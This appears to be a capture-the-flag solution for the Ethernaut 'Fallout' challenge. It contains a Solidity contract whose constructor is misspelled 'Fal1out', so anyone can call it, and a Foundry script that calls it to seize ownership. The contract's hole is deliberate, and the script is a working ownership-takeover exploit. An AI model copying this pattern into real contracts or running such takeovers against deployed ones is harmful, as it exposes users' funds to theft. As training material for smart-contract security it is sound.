1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.6.0;
3

4
import "openzeppelin-contracts-06/math/SafeMath.sol";
5

6
contract Fallout {
7
    using SafeMath for uint256;
8

9
    mapping(address => uint256) allocations;
10
    address payable public owner;
11

12
    /* constructor */
13
    function Fal1out() public payable {
14
        owner = msg.sender;
15
        allocations[owner] = msg.value;
16
    }
17

18
    modifier onlyOwner() {
19
        require(msg.sender == owner, "caller is not the owner");
20
        _;
21
    }
22

23
    function allocate() public payable {
24
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
25
    }
26

27
    function sendAllocation(address payable allocator) public {
28
        require(allocations[allocator] > 0);
29
        allocator.transfer(allocations[allocator]);
30
    }
31

32
    function collectAllocations() public onlyOwner {
33
        msg.sender.transfer(address(this).balance);
34
    }
35

36
    function allocatorBalance(address allocator) public view returns (uint256) {
37
        return allocations[allocator];
38
    }
39
}

1
function Fal1out() public payable {
2
    owner = msg.sender;
3
    allocations[owner] = msg.value;
4
}

1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.6.0;
3

4
import "forge-std/Script.sol";
5
import "forge-std/console.sol";
6
import "../src/Fallout.sol";
7

8
contract FalloutSolution is Script {
9
    Fallout public falloutInstance = Fallout(<YOUR_INSTANCE>);
10

11
    function run() public {
12
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
13

14
        // Debug logs before attack
15
        console.log("Owner before attack:", falloutInstance.owner());
16

17
        // Step 1: Call the misnamed constructor function
18
        falloutInstance.Fal1out();
19

20
        // Debug logs after attack
21
        console.log("Owner after attack:", falloutInstance.owner());
22
        console.log("My Address:", vm.envAddress("MY_ADDRESS"));
23

24
        vm.stopBroadcast();
25
    }
26
}